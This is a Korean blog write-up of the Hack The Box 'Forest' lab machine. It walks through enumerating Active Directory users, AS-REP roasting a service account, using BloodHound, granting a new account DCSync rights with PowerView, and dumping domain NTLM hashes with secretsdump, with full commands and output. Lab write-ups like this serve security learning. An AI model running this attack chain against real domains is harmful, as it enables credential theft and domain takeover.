이번에 HTB의 Forest라는 머신을 풀었는데 굉장히 영양가 높은 머신이었고 여러가지 새로운 것들도 배웠기 때문에 포스팅을 작성한다.
이 머신은 easy 난이도라고는 되어있는데 거의 대부분 처음 경험해보는 내용이었던 나에게는 절대 easy하지 않았다.
초기진입
nmap
우선 nmap의 결과부터.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-27 01:08:58Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h26m49s, deviation: 4h02m30s, median: 6m48s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2025-03-26T18:09:12-07:00
| smb2-time:
| date: 2025-03-27T01:09:11
|_ start_date: 2025-03-27T01:01:16
smb와 ldap이 눈에 들어온다.
smb의 경우 리스트를 보려고 했으나 접속이 안됐다.
ldap으로 변경.
enum4linux
ldap을 조사할 때 사용하는 툴로써 enum4linux라는 게 있다고 한다.
ldapsearch라는 툴이 이름부터 뭔가 해줄 것 같아서 사용해봤는데 결정적인 유저를 마지막까지 찾아내지 못했다.
enum4linux의 경우 한번에 결정적인 유저까지 찾아냈기 때문에 ldapsearch 보다는 enum4linux가 더 좋은 것 같다.
enum4lilnux 10.10.10.161
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
ldapsearch에서는 svc-alfresco라는 유저를 발견하질 못해서 계속 헤맸다.
유저 이름을 알았기 때문에 impacket-GetNPUsers라는 툴을 사용해서 Kerberos preauthentication이 설정되어 있지 않은 유저를 찾아낸다.
impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -usersfile users.txt
$krb5asrep$23$svc-alfresco@HTB.LOCAL:93b8c3f3d039482dae56a19dc0a91053$3ddd8d9d301f89dbee8ce4bb022f04ebba5cec410b45aae7ff4e6012e9bfe2f6e13a4aff4dd92108597ba4e27a1f7daebec8d22c4c44eb5a56253fa7c7d83296d879282601f1ca533d7cc4f1cd10ac5224039418981c8a0575f1c909a556344c0007d64eea970f51cc33c8e70117947f4dd32a054cbacfe847532bfea1e3aac49ac93511eebc2318b57901c3dbb181200d62bb710553ea74496c51670a3a8595bbeb58ce1d17599f242685e7e72992c90c6651c1fdd0b742192a09eb004a87d172982fe1d5f0e14e838d2ea6003306a8d205697bce8a685d9e7a1c46f8864820f976bb913248
다른 유저들과는 다르게 svc-alfresco의 경우 해쉬값이 나온다.
찾아보니 18200 모드를 사용하면 크랙킹 할 수 있을 것 같다.
크랙킹하면 s3rvice 비밀번호를 획득할 수 있다.
evil-winrm으로 로그인.
권한상승
bloodhound
여기서 또 다른 벽을 느꼈다.
easy 머신임에도 불구하고 bloodhound를 활용해서 풀어야 한다.
bloodhound를 사용하는 방법은 두 가지가 있는데 하나는 sharphound를 활용하는 방법이고 또 다른 방법은 bloodhound-python을 사용하는 방법이다. (pip install bloodhound로 설치가능).
bloodhound-python -d sequel.htb -u {user} -p {password} -ns {IP}
bloodhound를 실행하고 파일을 업로드하면 노드를 볼 수 있다.
- 먼저 이번에 침입 성공한 svc-alfresco를 검색해 노드를 선택한다.
- owned로 지정한다.
- shotest paths에서 더 높은 value의 타겟을 찾아본다.
그러면 굉장히 상관관계가 얽혀있는 꽤 복잡한 그래프가 나타난다.
이 그래프를 볼 줄 몰라서 많이 헤맸는데 그래프를 잘 보면 genericall 이라던가 DACL write라던가 핵심적인 키워드들이 써있다.
genericall의 경우 모든 권한을 가지고 있기 때문에 내가 소유했다고 봐도 무방한 듯 하다.
DACL write 권한이 중요한데, 이 권한이 있으면 액세스 권한을 설정 할 수 있다. 이번 머신의 메인 도메인 바로 전 노드인 Exchange Windows Permissions 그룹이 메인 도메인에 대하여 이 권한을 가지고 있기 때문에 DcSync 권한을 유저에 부여할 수 있는 취약점이 존재한다.
DcSync
easy 머신에서 DcSync까지 나와서 당황했지만 회사에서 본 적이 있었다.
먼저 권한을 부여할 새로운 유저를 만든다.
net user hong hongtest1234 /add /domain
그 다음 유저를 Exchange Windows Permissions 그룹에 추가한다.
net group "Exchange Windows Permissions" /add hong
(이런것도 svc-alfresco 유저가 어카운트 관리 그룹의 멤버였기에 가능했다.)
그리고 DcSync 권한을 부여하기 위해서 PowerView.ps1을 사용한다.
$SecPassword = ConvertTo-SecureString 'hongtest1234'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\hong', $SecPassword)
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity hong -Rights DCSync -Credential $Cred -Verbose
이렇게 하면 새로만든 유저에 DcSync의 권한이 부여되기 때문에 나머지는 칼리 머신에서 악용하기만 하면 된다.
secretsdump.py htb.local/hong:hongtest1234@10.10.10.161
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::...
관리자의 해쉬 정보를 얻을 수 있다. DcSync는 언제봐도 놀랍다.
evil-winrm으로 관리자 해쉬를 사용해 로그인 하면 root 플래그도 얻을 수 있다.
느낀점
이번 머신이 특히 어려웠던 점은 처음 써보는 툴이 많았기 때문이다.
enum4linux, bloodhound, powerview도 존재는 알아도 제대로 써본적은 없는 툴들이었다.
이번에 어느정도 사용법을 익혔기 때문에 다음에 비슷한 문제는 풀 수 있지 않을까? 싶다.
굉장히 유익한 머신이었다.